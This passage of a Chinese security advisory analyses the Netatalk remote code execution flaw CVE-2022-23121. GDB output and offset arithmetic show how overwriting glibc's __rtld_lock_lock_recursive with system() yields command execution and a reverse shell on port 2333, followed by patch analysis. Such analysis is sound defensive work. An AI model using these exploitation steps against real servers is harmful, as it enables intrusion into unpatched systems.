gef➤ x /i $pc
=> 0x7efeac84c59d <_dl_open+61>: call QWORD PTR [rip+0x199c5] # 0x7efeac865f68 <_rtld_global+3848>
gef➤ x /gx 0x7efeac865f68
0x7efeac865f68 <_rtld_global+3848>: 0x4141414141414000
gef➤
在https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open
函数源码,该处为_dl_open
函数试图通过函数指针调用__rtld_lock_lock_recursive
指向的函数并把_dl_load_lock
地址作为指针参数传入该函数内。
void *
_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid,
int argc, char *argv[], char *env[])
{
if ((mode & RTLD_BINDING_MASK) == 0)
/* One of the flags must be set. */
_dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()"));
/* Make sure we are alone. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
_rtld_global
地址为0x7efeac865060
gef➤ p &_rtld_global
$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global
__rtld_lock_lock_recursive
函数指针及参数dl_load_lock
均为全局变量_rtld_global
的成员
##name define GL(name) _rtld_local._
else
##name define GL(name) _rtld_global._
定义在_rtld_local=_rtld_global
初始化过的全局变量存放在.data段,在ld.so中.data段的偏移为0x2e060
。
此时可以利用任意写将获取到的system函数地址覆盖到__rtld_lock_lock_recursive
内,并且将要执行的命令放入_dl_load_lock
即可造成命令执行。
命令执行
此前说过任意写是将map + ad.ADEID_RFORK.off
处长为ad.ADEID_RFORK.len
的数据写入到map + ad.ADEID_FINDERI.off + 0x20
内,而在分配大小小于0x1000
情况下,mmap
函数分配的内存刚好在data
段上面,此时mmap
分配的内存地址距离要覆盖的_dl_load_lock
参数为0x2968
,以此可得ad.ADEID_FINDERI.off=0x2948
$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>
gef➤ p &_rtld_global._dl_load_lock Quit
gef➤ p 0x7efeac865968 - 0x7efeac863000
$8 = 0x2968
同时还要覆盖到__rtld_lock_lock_recursive
函数指针,测算可得至少需要复制0x600
的长度才能覆盖到函数指针,此处可以设置复制长度为0x620
gef➤ p &_rtld_global._dl_rtld_lock_recursive
$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>
gef➤ p 0x7efeac865f68 - 0x7efeac863000
$11 = 0x2f68
gef➤ p 0x2f68 - 0x2968
$12 = 0x600
利用上述偏移,加上计算得到的system
函数地址,生成可用文件,如下:
此时在目标主机内已有了该定时任务,在攻击机上监听2333端口即可收到反弹的shell
十三、补丁分析
在Netatalk3.1.13版本中修复了该漏洞,在新版本中,先检查if中的条件而后给ad指向的结构体赋值,如果if中条件为真,也就是可能发生了越界则直接打印错误消息而后return -1,只有if条件不满足才继续赋值,从而防止了adouble结构体含有不正确的偏移,在外层函数获取到的偏移在范围内从而修复了该漏洞。
十四、函数解释
**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)
// dest指向要复制的目标内存,src指向要复制的数据内存,n为要复制的大小(字节)
// 如果dest和src指向的内存重叠,该函数仍然可以正常处理,逻辑如下
char str[] = "memmove can be very useful......";
memmove (str+20,str+15,11);
// 输出为 memmove can be very very useful.
十五、参考链接
https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open
https://nosec.org/home/detail/4997.html
https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/
原文始发于微信公众号(奇安信 CERT):CVE-2022-23121 Netatalk 远程代码执行漏洞深入分析